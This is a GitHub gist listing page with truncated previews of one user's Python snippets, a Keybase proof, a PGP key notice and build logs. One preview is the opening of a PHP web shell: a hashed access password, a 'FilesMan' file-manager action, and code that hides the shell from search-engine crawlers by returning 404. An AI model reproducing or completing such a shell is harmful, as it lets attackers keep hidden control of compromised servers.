Skip to content

Instantly share code, notes, and snippets.

>>> import sqlite3
>>> conn = sqlite3.connect(':memory:')
>>> cursor = conn.cursor()
>>> cursor.execute('CREATE TABLE demo (foo PRIMARY KEY, bar INTEGER, spam TEXT, eggs INTEGER NOT NULL DEFAULT 0)')
<sqlite3.Cursor object at 0x1048c43b0>
>>> cursor.execute('PRAGMA table_info(demo)')
<sqlite3.Cursor object at 0x1048c43b0>
>>> [r[1] for r in cursor]
[u'foo', u'bar', u'spam', u'eggs']
$auth_pass = "59ec7b5aee2b1838eeb94b2268a1e685";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
from bisect import bisect_left, bisect_right
def ani(arr, a, b):
arr.sort()
return sum(
bisect_right(arr, b - x, lo) - bisect_left(arr, a - x, lo)
for lo, x in enumerate(arr, 1))

Keybase proof

I hereby claim:

  • I am mjpieters on github.
  • I am zopatista (https://keybase.io/zopatista) on keybase.
  • I have a public key whose fingerprint is 7037 7A88 E2D5 5007 728F DC81 DF16 A3D8 63AF 80FD

To claim this, I am signing this object:

>>> import re
>>> invalid_escape = re.compile(r'\\([1-3][0-7]{2}|[1-7][0-7]?)') # octal digits from 1 up to FF
>>> def replace_with_codepoint(match):
... return chr(int(match.group(0)[1:], 8))
...
>>> def repair(brokenjson):
... return invalid_escape.sub(replace_with_codepoint, brokenjson)
...
>>> sample = '{"destination":"Provence-Alpes-C\\303\\264te d\'Azur"}'
>>> repair(sample)
@mjpieters
mjpieters / advent06.py
Last active December 23, 2015 18:14
Advent of Code fun
# Having fun with http://adventofcode.com/day/6 Advent of Code
import re
from itertools import product
from collections import defaultdict
try:
from PIL import Image
except ImportError:
# Python 2.7.13 build with pytracemalloc patches applied.
$ python27_tracemalloc test-pickle-tracemalloc.py
Python version info: 2.7.13 (default, Jun 25 2018, 22:08:02)
[GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.2)]
Baseline (Tot: 0.0 MiB, Inc: 0.0 MiB)
Data created (Tot: 200.0 MiB, Inc: 200.0 MiB)
Pickle dumped (Tot: 246.0 MiB, Inc: 46.0 MiB)
$ python27_tracemalloc test-pickle-tracemalloc.py load
Python version info: 2.7.13 (default, Jun 25 2018, 22:08:02)
[GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.2)]
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512,SHA1
Date: 2018-07-27
For a number of reasons, I have recently set up a new OpenPGP key,
and will be transitioning away from my old one.
The old key will continue to be valid for some time, but I prefer all
future correspondence to come to the new one. I would also like this
#!/usr/bin/env python3
import asyncio
import json
import random
import websockets
async def hello(websocket, path):
async for message in websocket:
print(f"< {message}")
@mjpieters
mjpieters / # python - 2018-05-06_23-54-46.txt
Created November 8, 2018 13:56
python on macOS 10.13.6 - Homebrew build logs
Homebrew build logs for python on macOS 10.13.6
Build date: 2018-05-06 23:54:46